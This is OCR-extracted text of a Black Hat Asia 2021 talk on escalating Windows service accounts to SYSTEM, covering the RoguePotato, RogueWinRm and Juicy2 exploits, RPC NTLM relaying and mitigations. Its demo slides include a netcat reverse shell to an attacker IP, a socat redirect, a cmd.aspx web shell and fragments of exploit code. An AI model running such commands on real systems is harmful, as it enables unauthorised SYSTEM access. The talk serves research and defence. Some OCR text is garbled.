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> System Engineer @ SentinelOne

» Passionate about IT security and constantly trying to learn
and experiment new cool stuff, especially on Windows
SyStemS . 4 @splinter_code

O @antonioCoco

» CTF player and proud member of @DonkeysTeam
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~'®%< juicy2_la_vendetta
L& R

~©  You: Windows Privilege Escala...

> Windows Service Accounts usually holds “impersonation privileges” which
can be (easily) abused for privilege escalation once compromised

» “Rotten/JuicyPotato” exploits do not work anymore in latest Windows
releases

-» Any chance to get our potatoes alive and kicking, again?

#BHASIA @BLACKHATEVENTS
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-» Basic Concepts:

¢ Windows Services

+ Windows Service Accounts

+ WSH (Windows Service Hardening)
¢ Impersonation

-» From Service to System

¢ RogueWinRm
+ RoguePotato
¢ Juicy2
+ Other non-"potatoes” techniques
» Relaying potatoes authentication

-» Mitigations
-» Conclusion

#BHASIA @BLACKHATEVENTS
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»> What is a service?

o Particular process that runs in a separate Session and without user interaction.
¢ The classic Linux daemon, but for windows

- Why so important?
¢+ Most of the Windows core components are run through a service
+ DCOM, RPC, SMB, IIS, MSSQL, etc...
+ Being daemons they will be an exposed attack surface

-» Must be run with a Service Account User

> Configurations are under HKLM\SYSTEM\CurrentControlSet\Services

#BHASIA @BLACKHATEVENTS



O

blackhat

ASIA 2021

-] [Egwininit.exe
BT E|services.exe
[l svchost.exe
+| [lE svchost.exe < 0.01
‘B svchost.exe
il /svchost.exe <0.01
‘B svchost.exe
‘B svchost.exe
‘B svchost.exe

C:\Windows\system32>whoami /groups

GROUP INFORMATION

Mandatory Label\System Mandatory Level
Everyone

BUILTIN\Users

NT AUTHORITY\SERVICE

CONSOLE LOGON

NT AUTHORITY\Authenticated Users

NT AUTHORITY\This Organization

LOCAL

Process CPU  Private Bytes

1,428 K

904 K
10,264 K
7,756 K
2,296 K
1,672 K
2,316 K
1,892 K

Label

Well-known
Alias

Well-known
Well-known
Well-known
Well-known
Well-known

Working Set

6,332 K

3,716 K
25,968 K
14,176 K
7,820 K
6,388 K
10,408 K
8,400 K

S=dl=
S=dl=
S-1-
Sedl=
Se=dl=
S=dl=
Sedl=
S-1-

w === 5 HOW you recognize a service?
T ¢ Child process of services.exe (SCM)

880 ok

1004 ot ¢ Process in Session O

412 0F

s O ¢ From source code perspective: Svcinstall(),

1072 0F

ool SvcMain(), SvcCtrlHandler(), Svclnit()...

> How the NT Kernel recognize a service...
¢ 5-1-5-6 Service
A group that includes all security principals that
have logged on as a service.

#BHASIA @BLACKHATEVENTS
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> Windows Service Accounts have the password managed internally by the
operating system

- Service Account types:

¢ Local System
o Local Service / Network Service Accounts
+ Managed Service & Virtual Accounts

- Allowed to logon as a Service, logon type 5

» Could be also a normal user who has been granted the right “Log on as a
Service”

#BHASIA @BLACKHATEVENTS
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_ﬁ Local Security Policy
File Action View Help

o 75 XE =2 HE

T Security Settings
7 Account Policies

v | & Local Policies
. Audit Palicy

@er Rights Assignment >

1 Security Options

_| Windows Defender Firewall with Advan
| Network List Manager Policies
_| Public Key Policies
“| Software Restriction Policies
_| Application Control Policies
g IP Security Policies on Local Computer

~| Advanced Audit Policy Configuration

Policy
| Create a token object
| Create global objects
| Create permanent shared objects
| Create symbolic links
| Debug programs
| Deny access to this computer from the ne
| Deny log on as a batch job
| Deny log on as a service
| Deny log on locally
| Deny log on through Remote Desktop Se
| Enable computer and user accounts to be
| Force shutdown from a remote system
| Generate security audits
| Impersonate a client after authentication
| Increase a process working set
| Increase scheduling priority
| Load and unload device drivers
| Lock pages in memory

1] Log on as a service >

| Manage auditing and security log
| Modify an object label

| Modify firmware environment values

| Obtain an impersonation token for anoth

| Y R PSR- ey Wi P

Log on as a service Properties ?
Local Security Setting  Explain

'i' Log on as a service

«|NT SERVICE\ALL SERVICES

Add User or Group... Remove

#BHASIA @BLACKHATEVENTS
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> Until Windows Server 2003/XP every service was run as SYSTEM

> |If you compromise a service you have compromised also the whole
machine

-» WSH to the rescue, at least that was the initial goal

> Great references by @tiraniddo [1] and @cesarcer [2]

[1] https://www.tiraniddo.dev/2020/01/empirically-assessing-windows-service.html
[2] https://downloads.immunityinc.com/infiltrate-archives/WindowsServicesHacking.pdf

#BHASIA @BLACKHATEVENTS
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» Limited Service Accounts

¢ Introduction of the LOCAL SERVICE and NETWORK SERVICE accounts, less privileges than
SYSTEM account.

> Reduced Privileges
¢ Services run only with specified privileges (least privilege)

> Write-Restricted Token

> Per-Service SID

+ Service access token has dedicated and unique owner SID. No SID sharing across different
services

- Session 0 Isolation
» System Integrity Level
- UIPI (User interface privilege isolation)

#BHASIA @BLACKHATEVENTS
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- “Impersonation is the ability of a thread to execute in a security context that is
different from the context of the process that owns the thread.” MSDN

- Basically it allows to execute code on behalf of another user

-» Token forged by impersonation are known as secondary token or impersonation
token

- Your process token must hold the SelImpersonatePrivilege (“Impersonate a Client
After Authentication”) to perform the impersonation

> It is the prerequisite for all the techniques will be shown

#BHASIA @BLACKHATEVENTS
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- Impersonation assighs a token to a thread, replace the token used in access
checks for the majority of system calls [1]

Direct Setting Indirect Setting

SetThreadToken() ImpersonateNamedPipeClient()

ImpersonateLoggedOnUser() RpclimpersonateClient()

NtSetInformationThread(...) ColmpersonateClient()
Kernel Setting

PsImpersonateClient()
SelmpersonateClient/Ex()

[1] https://conference.hitb.org/hitbsecconf2017ams/materials/D2T3%20-%20James%20Forshaw%20-
%20Introduction%20to%20Logical%20Privilege %20Escalation%200n%20Windows.pdf

#BHASIA @BLACKHATEVENTS
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> You are wondering now: what is the link between Services and the
impersonation privileges?

Impersonate a client after authentication Properties ?

X Impersonate a client after authentication Properties ? X
Local Security Setting  Explain Local Security Setting  Explain
'i. Impersonate a client after authentication _i. Impersonate a client after authentication
Administrators Administrators
LOCAL SERVICE LOCAL SERVICE
NETWORK SERVICE
SERVICE

NETWORK SERVICE

Add User or Group...

Remove Add User or Group. .. | Remove
Administrators and SERVICE must be granted the impersonate
L client after authentication privilege

oK Cancel Fe IASIA @BLACKHATEVENTS
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ed on December 6, 20

We thought they were potatoes but they were beans

(from Service Account to SYSTEM again)

-» Release Date: 6 December 2019
> Authors: @decoder it - @splinter code — OxEA (@DonkeysTeam)

- Brief Description

¢ Force the BITS service to authenticate to a Rogue WinRm HTTP server in a NTLM
challenge/response authentication resulting in a SYSTEM token stealing. [1]

-» Requirements

o WinRm Port (5985) available for listening
¢ By default impact only Windows clients, no Windows Servers

[1] https://decoder.cloud/2019/12/06/we-thought-they-were-potatoes-but-they-were-beans/ #BHASIA  CBLACKHATEVENTS
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> When a BITS object get initialized a weird behavior happens
- BITS object could be created through a DCOM activation using its CLSID or by a
simple “bitsadmin /list”

C:\Windows\System32>nc64.exe -lvnp 5985

listening on [any] 5985 ...

connect to [127.0.0.1] from (UNKNOWN) [127.6.06.1] 50654
POST /wsman HTTP/1.1

Connection: Keep-Alive

Crontant-Tvna - :hh'|1r:.+1nh/cn:h.Lvm'|-rh:ru:a-l' IITF-16&

IAuthorization Negotlate YGwGBlsGAQUFAquMGCngAYBgoPBgEEAYIBAgIKBgor'BgEEAYIBAgIeokIEQE5UTE1TU1AAAQAAALeyC
OIJAAKANWAAAASADWAOAAAACZCE6RWAAAASERVNLVESQLTVBSOpQVDZXT1ILR1IPVVA=

User-Agent: Microsoft WinRM Client

Content-Length: ©

Host: localhost:5985

#BHASIA @BLACKHATEVENTS
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> RogueWinRm is a minimal webserver that performs NTLM authentication over
HTTP

Image from --> https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/ #BHASIA  CBLACKHATEVENTS
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C:\everyone>whoami
nt authority\local service

C:\everyone>whoami /priv

PRIVILEGES INFORMATION

Description

SeAssignPrimaryTokenPrivilege Replace a process level token Disabled *
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled C:\WlndOWS\SyStem32>n564-exe -lVI’]p 3001
SeSystemtimePrivilege Change the system time Disabled listening on [any] 3601

SeShutdownPrivilege Shut down the system Disabled gonnect to [127.@.@.1] from (UNKNOWN) [127.@.@.1] 50860

SeAuditPrivilege Generate security audits Disabled . . ]
SeChangeNotifyPrivilege Bypass traverse checking Enabled Microsoft Windows [Version 10.0.18362.16082]

SeUndockPrivilege Remove computer from docking station Disabled (c) 2019 Microsoft Corporation. All rights reserved.
-SeImper‘sonatePr‘ivilege Impersonate a client after authentication Enabled
Se(CreateGlobalPrivilege Lreate global objects Enabled
SeIncreaselWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled

C:\Windows\system32>whoami
whoami

nt authority\system
C:\everyone>RoguelWinRm.exe -p "C:\everyone\nc64.exe" -a " 127.0.0.1 3001 -e cmd.exe"

Listening for connection on port 5985
BITS is running... Waiting 3@ seconds for Timeout (usually 120 seconds for timeout)...

Received http negotiate request
Sending the 481 http response with ntlm type 2 challenge

Received http packet with ntlm type3 response

Using ntlm type3 response in AcceptSecurityContext()

BITS triggered!
[+1 authresult o
NT AUTHORITY\SYSTEM

#BHASIA @BLACKHATEVENTS
[+] CreateProcessWithTokenW OK e




blgc’zk hat .

ASIA 2021

hge with CLSID:{4991d34b-80a1-4291-83b6-3328366b9097}
listening on port 9991 ...

> P

20

,Wélcome RoguePotato!

No more Juicy’Potato?« ﬁld

> Release Date: 11 May 2020
> Authors: @decoder it - @splinter _code

- Brief Description

¢ Tricks the DCOM activation service in contacting a remote Rogue Oxid Resolver to force RPCSS
writing to a controlled named pipe getting a NETWORK SERVICE token. After that it uses Token
Kidnapping to steal a SYSTEM token from the process space of RPCSS [1]

-» Requirements
¢+ The machine can make an outbound connection on port 135
¢ SMB Running
¢ DCOM Running

[1] https://decoder.cloud/2020/05/11/no-more-juicypotato-old-story-welcome-roguepotato/ #BHASIA  CBLACKHATEVENTS
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Trigger Istorage
(Account with
Impersonation privs)

#BHASIA @BLACKHATEVENTS
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- Tricking the DCOM activation service [1]

*

¢

¢

[1] Credits to @tiraniddo --> https://bugs.chromium.org/p/project-zero/issues/detail?id=325

Pick a CLSID to create an object activation request

Once the object is created, initializes it to a marshalled object. (IStorage)

In the marshalled object (OBJREF_STANDARD) we specify the string binding for a remote oxid
resolver. This will be the ip of our remote rogue oxid resolver

When the COM object will unmarshal the object (CoGetInstanceFromlIStorage) it will trigger an
oxid resolution request to our rogue oxid resolver in order to locate the binding information of
the object

#BHASIA @BLACKHATEVENTS



0

blackhat

ASIA 2021

Step 1 Step 2

\O

Trigger Istorage
(Account with
Impersonation privs)

Fake ResolveOxid2
(Anonymous Logon)

#BHASIA @BLACKHATEVENTS
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» Forward the resolution coming to the remote host (port 135) back to the
local host where the Rogue Oxid Resolver runs
> Write the code of the malicious ResolveOxid2() in order to return a

poisoned answer:

¢ Force the usage of RPC over SMB (ncacn_np) instead of RPC over TCP (ncacn_ip_tcp)
¢ Return the binding information exploiting a path validation bypass [1]:
ncacn_np:localhost/pipe/roguepotato[\pipe\epmapper]

> Result: the activator (RPCSS), instead of using the default named pipe
\pipe\epmapper, will use a non-existent named pipe
\pipe\roguepotato\pipe\epmapper for locating the endpoint information

[1] Credits to @itm4n and @jonasLyk --> https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/ #BHASIA  CBLACKHATEVENTS
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Step 2

Step 3

)
\/\L ,A'/
Trigger Istorage

(Account with
Impersonation privs)

Fake ResolveOxid2
(Anonymous Logon)

—

Fake epmapper pipe
(Impersonate Network
Service)

#BHASIA @BLACKHATEVENTS
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» Create listener on the free named pipe
\\.\pipe\roguepotato\pipe\epmapper and wait for the connection from
RPCSS, then we call ImpersonateNamedPipeClient() to impersonate the
client

» Should we expect a surprise?

#BHASIA @BLACKHATEVENTS
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o Token Viewe o [

Processes Ihreads Handles Logon User Services

Process Thread 1DV User Impersonation Level
7460 - FoguePotato.exe 13824 MT AUTHORITYS\NETWORK SERVICE Impersonation

0 RoguePotato.exe:7460.13824 - User NT AUTHORITY\NET...  — [ >
Main Details Groups  Privileges Default Dacl Misc  Operations Token Source &4 *
Mame Flags
BUILTIN%Users Mandatory, Enabled
Everyone Mandatory, Enabled
LOCAL Mandatory, Enabled
MNT AUTHORITY \Authenticated Users Mandatory, Enabled
I NT ALUTHORITY%LogonSessionld_0_52500 Mandatory, Enabled, Owner, Logonld
! Mone
NT AUTHORITYSERVICE Mandatory, Enabled
MT ALUTHORIT Y% This Organization Mandataory, Enabled
NT SERVICE \RpcEptMapper Enabled, Owner
NT SERVICE\RpcSs Cwner
MakeAGIF.com
#BHASIA @BLACKHATEVENTS
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Step 1 Step 2 Step 3 Step 4

\O

—»l—_—|—>

\/\L//\ e
Trigger Isto.rage Fake ResolveOxid2 Fake epmapper pipe RP.CSS To.ken
(ACCOUht with K1dnapp-|ng
Impersonation privs) (Anonymous Logon) (Impersonate Network
P P Service) (Impersonate SYSTEM)

#BHASIA @BLACKHATEVENTS
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> The last step of the chain, the Token Kidnapping [1]
» Get the PID of the “RPCSS” service

-» Open the process, list all handles and for each handle try to duplicate it
and get the handle type

> If handle type is “Token” and token owner is SYSTEM, try to impersonate
and launch a process with CreateProcessAsUser() or
CreateProcessWithToken()

[1] Credits to @cesarcer --> https://dl.packetstormsecurity.net/papers/presentations/TokenKidnapping.pdf #EHASIA  CBLACKHATEVENTS
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File Edit Miew History Bookmarks Tools Help

10.0.0.6/cmd.aspx ¥ + File Actions Edit View Help

e

Arguments

_ :~$ ifconfig ethil
C @ (i 10.0.0.6/cmd.asp» B - W N @ » ethl: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.0.0.3 netmask 255.0.0.0 broadcast 1@.255.255.255
inet6 feB0::83ad:3971:518B:5a23 prefixlen 64 scopeid @x28<link>

Program @ c:\windows\system32\cmd.exe ether 80:@c:29:c3:02:2c txqueuelen 1080 (Ethernet)

RX packets 3775 bytes 592813 (578.1 KiB)
i RX errors dropped 8 overruns @ frame @
fc whoami & C:%everyone\RoguePotato.exe -r 10.0.0.3 -e "C:\everyoneync64.exe 10.0.0.3 TX packets 139537 bytes 10729683 (108.2 MiB)

3001 -e cmd.exe” -1 9999 TX errors dropped @ overruns @ carrier @ collisions @

:~% nc -lvnp 3001
listening on [any] 3001 ...
connoototo faf 2.2 2] foon o fununoun )y [10.0.0.6] 49725
Microsoft Windows [Version 198.8.17763.187]
(c) 2018 Microsoft Corporation. ALl rights reserved.

Cwwindows\systen3 2y inetsrvwhoami
whoami

Run nt authority\system

iis

[*]
[*]
[*]

apppool\defaultapppool I c:\windows\system32\inetsrv>[]

oo

Creating Pipe Server thread..

=l =l
Creating Rogue OXID resolver thre
Creating TriggerDCOM thread. ..

:~$ sudo socat tcp-listen:135,reuseaddr,fork tcp:10.0.0.6:9999

[*]

[ |
T

T = - i o P TP R 5 3o £ 1 FR— I
L e g L Ly W T N e e R R ) R ¥ R ) i E g

Calling CoGetInstanceFromIStorage with CLSID:{4991d34b-80al-4291-83b6-3328366b3097} [Step 1

[l N A o P TR o PR - | o P T | Tl - = O o R B~ o O A A S T R

[*]
[*]

StartingReguetxidResetrerRPESerrertistening—on—pert0999—
IStoragetrigger written:98 bytes
SecurityCallback RPC call Step 2

[*]

*

Resolvelx1d2 RPC call, this 1s tor us! &
ResolveOxid2: returned endpoint binding information = ncacn np:localhost/pipe/RoguePotatol\pipe\epmapper]

*

Client connected! |Step 3

+

Got SYSTEM Token!!!

[*]
[+]

POC:

Step 4
Token has SE_ASSIGN PRIMARY NAME, using CreateProcessAsUser() for launching: C:\everyone\nc64.exe 10.0.0.3 3001
RoguePotato gave you the SYSTEM powerz :D

#BHASIA @BLACKHATEVENTS

https://github.com/antonioCoco/RoguePotato
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- Posted on May 30, 2020w

- Release Date: 30 May 2020 The impersonatioNERg
> Authors: @decoder it - @splinter _code

- Brief Description
¢ Tricks the DCOM activation service in contacting a remote Rogue Oxid Resolver to force a specific

DCOM component to authenticate to an arbitrary RPC server, resulting in a SYSTEM token
stealing [1] [2]

-» Requirements
+ The machine can make an outbound connection on port 135
¢ DCOM Running

o By default affects only Windows clients, no Windows Servers

[1] https://decoder.cloud/2020/05/30/the-impersonation-game/ #BHASIA Q@BLACKHATEVENTS
[2] https://github.com/decoder-it/juicy 2
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Step 1 Step 2 Step 3 Step 4

N
@)k

o

—»l—_—|—>

Trigger Istorage RPCSS Token

; Fake ResolveOxid2 Fake epmapper pipe . )
(Accoun.t W-'th, (Anonymous Logon) (Impersonate Network Kidnapping
Impersonation privs) Service) (Impersonate SYSTEM)

- Similar to RoguePotato, but uses RPC over TCP (ncacn_ip_tcp) instead of RPC over SMB (ncacn_np)
- JuicyPotato reloaded, it works for windows > 1803 with some limitations

#BHASIA @BLACKHATEVENTS
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Step 1 Step 2 Step 3

-
o

.
@)k

\/A\Lurﬂﬁp —

Fake IRemUnkown2

Trigger Istorage ]
€8 : & Fake ResolveOxid2 m%IServer.
(Account with (A . ) (Impersonate -n
Impersonation privs) nonymous Logon SecurityCallback)

ncacn_ip _tcp:127.0.0.1[9999]

#BHASIA @BLACKHATEVENTS
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> Most of CLSIDs returns an ldentification token, pretty useless...
-» Why this behavior?

typedef struct _RPC _SECURITY _QOS {

unsigned long Version;
unsigned long Capabilities;
unsigned long IdentityTracking;
unsigned long ImpersonationType;
} RPC_SECURITY_QOS, *PRPC_SECURITY_QOS;

» By default: ImpersonationType=RPC_C_IMP_LEVEL_IDENTIFY
» Can be overridden at code level (server side) or by controlling the regkey
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost

#BHASIA @BLACKHATEVENTS
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-» Any CLSID that override this behavior?

B136 v Jx
A B C D E
1 CLSID v USER -1 TYPE v (LEVEL -\
25 {354ff91b-5e49-4bdc-a8e6-1cb6c6877182} DESKTOP-172UGPP\andrea impersonalimpersonation
27 {38F441FB-3D16-422F-8750-B2DACFCS5CEFC} DESKTOP-172UGPP\andrea impersonalimpersonation
90 {90F18417-FOF1-484E-9D3C-59DCEEE5DBDS8} NT AUTHORITY\SYSTEM impersonajimpersonation
109 {C41B1461-3F8C-4666-B512-6DF24DE566D1} NT AUTHORITY\SYSTEM impersonajimpersonation
130 {f8842f8e-dafe-4b37-9d38-4e0714a61149} DESKTOP-172UGPP\andrea impersona@personatioy
134

ActiveX Installer service, no Windows Server ®

#BHASIA @BLACKHATEVENTS
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Tyranid's Lair

Saturday, 25 April 2020

Sharing a Logon Session a Little Too Much

Clément Labro @itm4n - May 2
Another blog post! =

PrintSpoofer - Abusing Selmpersonate on Windows 10 and Server 2019
itm4n.github.io/printspoofer-a

cc @jonaslyk

@ Command Prompt - ncidese 127001 9001

Network Service Impersonation
- Release Date: 25 April 2020
- Authors: @tiraniddo

- Brief Description

¢ If you can trick the “Network Service” account to write to a named pipe over the “network” and
are able to impersonate the pipe, you can access the tokens stored in RPCSS service (which is
running as Network Service and contains a pile of treasures) and “steal” a SYSTEM token. [1]

PrintSpoofer
- Release Date: 2 May 2020
- Authors: @itm4n - @jonasLyk

- Brief Description
¢ An exposed RPC interface of the Print Spooler service is vulnerable to a path validation bypass in
which you can trick the service to write to a controlled named pipe and then impersonating the
connection resulting in a SYSTEM token stealing. [2]

[1] https://www.tiraniddo.dev/2020/04/sharing-logon-session-little-too-much.html #BHASIA @BLACKHATEVENTS
[2] https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/
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> What if we relay the RPC authentication triggered by a potato exploit
instead of impersonating ? --> No more impersonation privileges required!

> Machine authentication (NETWORK SERVICE/LOCAL SYSTEM) is not that
useful...

- Some CLSID to the rescue! If activated from session O:

+ BrowserBroker Class {0002DF02-0000-0000-CO00-000000000046}
+ AuthBrokerUl {0ea79562-d4f6-47ba-b7f2-1e9b06bal6a4}
+ Easconsent.dll {5167B42F-C111-47A1-ACC4-8EABE61B0OB54}

‘ LR

-» We can trigger an NTLM authentication over RPC from the user
interactively logged on in Session 1 :D

#BHASIA @BLACKHATEVENTS
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> “NTLM relay is a technique of standing between a client and a server to
perform actions on the server while impersonating the client” [1]

> In recent years most of the research/mitigations about NTLM Relaying
were on SMB, HTTP, LDAP... What about RPC ?

» RPC -> HTTP and RPC -> LDAP cross protocol relay works!
¢ It requires the RPC authentication level is set to RPC_AUTHN_LEVEL_CONNECT (0x2)
¢ We need to deal also with NTLM mitigations: MIC and SIGNING

¢ In our scenario two interesting NTLM authentications took place:
- Oxid Resolution (IObjectExporter::ResolveOxid2 call)
- IRemUnknown Interface (IRemUnknown2::RemRelease call)

[1] https://en.hackndo.com/ntim-relay/ #BHASIA @BLACKHATEVENTS
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Victim DCOM

Malicious Attacker

Server

d

pu

Client
SERVERALNE__RESP———
5‘__—————-"“'"

—RESOLVEOXID_ReQ—

g‘________________ggsowEOXID. RESP
' —ORPC_REQ
>

g‘—____’_________.ORPC__RESP

[ —

—REMREL,,REQ\i

—

__REMREL_RESP

Oxid Resolution

S22 A RQ717 162 1AR 1 KR 1Q2 1AR 1 AA DCERPC 218 Rind: £3al1l1 3id: 2 Fracmant-
l Wireshark - Packet 223 - Ethernet

ee@. tiit tiee tees wee. .... = Negotiate ©x00200000: Not set
vie® Waws swes sase wwee sess = Negotimte Identify: Not sat
e lii. tiie teen veee .... = Negotiate Extended Security: Set
@it tiet teee wuee oo.. = Target Type Share: Not set
ee@¢ tiee teee seee see. = Target Type Server: Not set
¢e@ cece vese caee eeee = Target Type Domain: Not set
eo Leee coce coee soee = Negotiate Always Sign: Set
D.. ciiv vie. .... = Negotiate Ox00004000: Not set
... .... +v.. .... = Negotiate OEM Workstation Supplied: Not set
..® .... +... ... = Negotiate OEM Domain Supplied: Not set
. Q... .... .... = Negotiate Anonymous: Not set
0.. .... .... = Negotiate NT Only: Not set
..1. .... .... = Negotiate NTLM key: Set
..9 .... .... = Negotiate ©x00000100@: Not set
. 1... .... = Negotiate Lan Manager Key: Set
.8.. .... = Negotiate Datagram: Not set
eee. +.0. .... = Negotiate Seal: Not set
..C_..-1 .... = Negotiate Sign: Set —>
sves v B W REQUSS X 008: Not se
.1.. = Request Target: Set

..1. = Negotiate OEM: Set
pieea SR e e HokelY e ..1 = Negotiate UNICODE: Set
Calling workstation domain: NULL
Calling workstation name: NULL
Version 10.© (Build 17763); NTLM Current Revision 15
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Victim DCOM

Client

; SERVERALIVE_REQ :

Malicious Attacker

Server

ERVERALIVE_RESP—

;\\RESOLVEOXIO“REQ

|_RESOLVEOXID, RESP

%‘/REMREL_,RESP

error_status t ResolveOxid2

hRpc,

unsigned short cRequestedProtseqgs,

unsigned short arRequestedProtseqgs|[],

DUALSTRINGARRAY** ppdsaOxidBindings,

ComVersion

(
handle t
OXID* pOxid,
IPID* pipidRemUnknown,
DWORD* pAuthnHint,
COMVERSION* ¢

)

*pAuthnHint = RPC_C_AUTHN_LEVEL_CONNECT;

Oxid Resolution
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error_status t ResolveOxid2

Victim DCOM Malicious Attacker (
Client Server handle t hRpc,
: OXID* pOxid,
ﬁ—_-—_—~__~_“_“58“mRAUVﬁij_~__‘______~_.§ unsigned short cRequestedProtseqgs,
: g unsigned short arRequestedProtseqgs|[],
g‘____________._seRVERALWE,_RESP—— DUALSTRINGARRAY** ppdsaOxidBindings,

: g IPID* pipidRemUnknown,
ESOLVEOXID_REQ ' DWORD* pAuthnHint,

COMVERSION* pComVersion

| RESOLVEOXID_RESP )
jige s

§\QRPC_REQ\>§ ‘L

S sprintf s(endpoint, MAX PATH, "127.0.0.1[%s]", port);
RPC_RESP

4____________———“f—_——_—— (*ppdsaOxidBindings)->aStringArray[@] = 0x07; //ncacn_ip tcp

z)\REMREL
: .RE :
Q\bg (*ppdsaOxidBindings)->aStringArray[securityOffset] = RPC_C_AUTHN_WINNT;// ©x@a

—

i/aemnﬂ_ﬁesp
Oxid Resolution
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nme >ource vesunauon FIotoco! Lengm mo
Victim DCOM Malicious Attacker
86 5.868266 127.0.0.1 127.0.0.1 DCERPC 262 Bind: call_id: 3, Frag
Client Server 88 5.868664 127.0.0.1 127.0.0.1 DCERPC 372 B:!.nd_ack: call_.’.td: 3.1
96 5.868701 127.0.0.1 127.0.0.1 DCERPC 372 Bind_ack: call_id: 3, |
92 5.869269 127.0.0.1 127.0.0.1 DCERPC 504 AUTH3: call_id: 3, Fraj
: M Wireshark - Packet 81 - Adapter for loopback traffic capture
SERVERAUVE--REQ\——\‘ o Bose soen soas senrs eeee .... = Negotiate Target Info: Not set
: - vee+ +... = Request Non-NT Session: Not set
: N 0 L (- N = Negotiate ©x00200000: Not set
SERVERALWE,.RESP'— ....... 0 e e e +ee. .... = Negotiate Identify: Not set
?‘/’_——_ ........ Nisy wmee wusia sewe saes = Negotiate Extended Security: Set
L.kl ammouaus swes Bn R Lsas «ees +2.. = Target Type Share: Not set
g\\'RESOLVEO)(IO“REQ ........ wndni cemtnl satvinie Radn o = Target Type Serv?r: Not set
2 < D P P PP PP PP waial i eraEe  Sasee e = Target Type Domain: Not set
rE el e wess s s Fess seoid sees weve = Negotiate Always Sign: Set
§ S s, v Al eaEle SeaE e = Negotiate ©x@0004000: Not set
é‘_____________———RESOLVEOx“)- RESp—r—™"— /| | T s wake ANEe Teke Réai = Negotiate OEM Workstation Supplied: Set
T iy v eaas vees weel vt wuv. .... = Negotiate OEM Domain Supplied: Set
b o e seee e seee swen wwus Bbew weww wawn = Negotiate Anonymous: Not set
: —ORPC_REQ : G A B cess sees +@i .ue. .... = Negotiate NT Only: Not set
3 E— R | R e R TR s = Negotiate NTLM key: Set
R E— SRR e ® .... .... = Negotiate ©x00000100: Not set
QPC_RESP e e (R Sl el rivieiell Blnn svns = Negot::Late Lan Manager Key: Not set
h___-—-f/o - T o e ievaten aieTele .@.. .... = Negotiate Datagram: Not set
siee e e soret. e e eieieE O] - A i al_taot _sot
r\ ........................... Negotiate Sign: Not set
——REMREL_REQ-——_ A SRR T R R ... @... = Request Ox : Not set
: \N ........ LRI IO RO B .1.. = Request Target: Set
=y ik RS vee e weee e e 1. = Negotiate OEM: Set
;/REMREL__RESP R B R — ..1 = Negotiate UNICODE: Set
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Victim mochine ictim mochine
(. .x.x.x} (x.x.x.x)
RemotePotato@:D{0M Trigger Shell in Session @
Speciol CLSID RemotePotato@:0xid Resolver on

\ port 9958

IEShei!I in Session @

LY
- |
Attacker Hn:hN. Yol W

Damain Admin Listening on TOW:I35

" g

1. Resolwvelxidi Reguest ilxr;rf;gggﬂ
Y.¥LEL Y ARt
N\ - -

h N

3. Resaolvelxid? response: MCACN_TIP_TCOP:ix.w.x,x|9997 )

Logged in

B N
. Victim moachine
_ (x.x.%.x) 5. http-shttp relay Attacker machine
4. IRemUnknown2 gquery (x.x.x.x:[99297]) ) RemotePotatod: Vel W W
- |  NTLM HTTP Relay > ntlmrelayx
\ Listener an 9987 HTTP server
RPC->HTTF i
\\
Target Server to
relay Credentials
{3mb, Ldop, Http)

N
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F

01

02-
03-
04 -
05-

06

07 -
08 -

09

7/ Favorites

- Info...
Vuln.

We.

Pas..

- Wir.

Sni..

- Post...

- Fore...
- Reportin..

- Social E..

Usual Ap...

Databa...

Reverse...

Exploita..

Firefox ESR

QTerminal

Files

Text Editor

Notepadqq

IDA Freeware

burpsuite

Visual Studio Code

Thunderbird

File Actions Edit View Help

:$l

splintercode@kali: ~
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» Change the sid type of the service to “WRITE RESTRICTED” [1]

sc.exe sidtype SampleService restricted

> Use virtual service accounts [2] (or create your own [3])
sc.exe config SampleService obj= "NT SERVICE\SampleService"

> Remove the impersonation privileges by specifying the only required privileges

for the service(Least-Privilege) [1] [2]
sc.exe privs SampleService SeChangeNotifyPrivilege/SeCreateGlobalPrivilege

[1] https://www.tiraniddo.dev/2020/01/empirically-assessing-windows-service.html
[2] https://decoder.cloud/2020/11/05/hands-off-my-service-account/

#BHASIA @BLACKHATEVENTS
[3] https://www.tiraniddo.dev/2020/10/creating-your-own-virtual-service.html
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-» For Sysadmins: never rely on default WSH configuration for segregating the services.
Remember that also MS do not consider it a security boundary but just a “safety

- For Penetration Testers: always run “whoami /priv’ when you land to a new server
and check for the SelmpersonatePrivilege. It’s a 1 click privesc to SYSTEM :D

- For service providers: do not sell web servers (lIS) by creating a new virtual host on
a shared machine, please...

- “if you have Impersonation privileges you are SYSTEM!” @decoder _it
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Feel free to reach out! :D

u @splinter_code

g splintercod3@gmail.com
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